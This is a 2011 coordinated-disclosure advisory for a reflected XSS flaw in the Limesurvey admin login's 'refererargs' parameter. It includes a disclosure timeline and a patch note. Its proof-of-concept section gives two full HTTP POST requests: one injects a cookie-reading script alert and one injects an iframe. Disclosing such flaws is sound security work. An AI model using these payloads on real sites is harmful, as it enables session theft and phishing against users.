Cross-Site Scripting (XSS) in Limesurvey v1.85+

Advisory Information

Title: Cross-Site Scripting (XSS) in Limesurvey v1.85+
Internal Advisory ID: ITFORCE-2011-01
Date published: 2011-05-19
Vendors contacted: Limesurvey
Release mode: Coordinated release
Vendor Status: Patched

Researcher

Discovered by: Juan Manuel García CEI / GPEN / CEH / CHFI
Contact: jgarcia <at> itforce <dot> com <dot> ar
Linkedin: www.linkedin.com/in/juanmagarcia

Vulnerability Information

Class: Reflected Cross-Site Scripting (XSS)
Remotely Exploitable: Yes
Locally Exploitable: Yes
Severity: Medium - CVSS: 3.5 (AV:N/AC:M/Au:S/C:N/I:P/A:N)
Vulnerable packages: Limesurvey v1.85+; other versions may also be affected.

Vulnerability Description & Impact

Reflected Cross Site Scripting vulnerabilities were found in Limesurvey, because the application fails to sanitize user-supplied input. The vulnerabilities can be triggered by any logged-in user.

An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an attacker may obtain authorization cookies that would allow him to gain unauthorized access to the application.

Also, it is possible to inject a frame or an iframe tag with malicious content which resembles the attacked site. An attacker can embed a fake site in the original site, this facilitates phishing attacks.

At least the following parameters are not properly sanitized:

/admin/admin.php: **refererargs**

Other parameters might also be affected.

Proof of Concept / Exploit

- **XSS Exploit:**

The POST request has been set to: "/><script>alert(document.cookie)</script>

```
POST /admin/admin.php HTTP/1.1
Content-Length: 110
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif,
image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-
powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://xxx.xxx.xxx.xxx/admin/admin.php
Accept-Language: es-AR
Content-Type: application/x-www-form-urlencoded
Host: xxx.xxx.xxx.xxx
Pragma: no-cache
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

user=admin&password=test&loginlang=default&action=login&refererargs="/><script
>alert(document.cookie)</script>
```

- **Injection in a Frame:**

The POST request has been set to:
%27%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Fwww.itforce.com.ar%3E

```
POST /admin/admin.php HTTP/1.1
Content-Length: 127
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif,
image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-
powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://xxx.xxx.xxx.xxx/admin/admin.php
Accept-Language: es-AR
Content-Type: application/x-www-form-urlencoded
Host: xxx.xxx.xxx.xxx
Pragma: no-cache
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

user=admin&password=test&loginlang=default&action=login&refererargs=%27%22%
3E%3Ciframe+src%3Dhttp%3A%2F%2Fwww.itforce.com.ar%3E
```

Report Timeline

2011/04/30 – Vulnerability was identified
2011/05/03 – IT Force sends details about the issue to the vendor and receives the Mantis ID 05145
2011/05/04 – Vendor confirmed vulnerability and informs that the vulnerability is fixed in the upcoming Limesurvey v1.91+
2011/05/12 - Vendor publishes Limesurvey v1.91+
2011/05/15 - Vendor informs that the ticket 05145 in Mantis has been closed
2011/05/19 - Advisory ITFORCE-2011-01 is published.

References

http://www.limesurvey.org
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

http://www.itforce.com.ar

About IT Force

IT Force is a company involved in providing professional information security services. ITFLabs, the research center of IT Force, conducts research in system vulnerabilities, source code auditing, and tools.
IT Force can be reached at: http://www.itforce.com.ar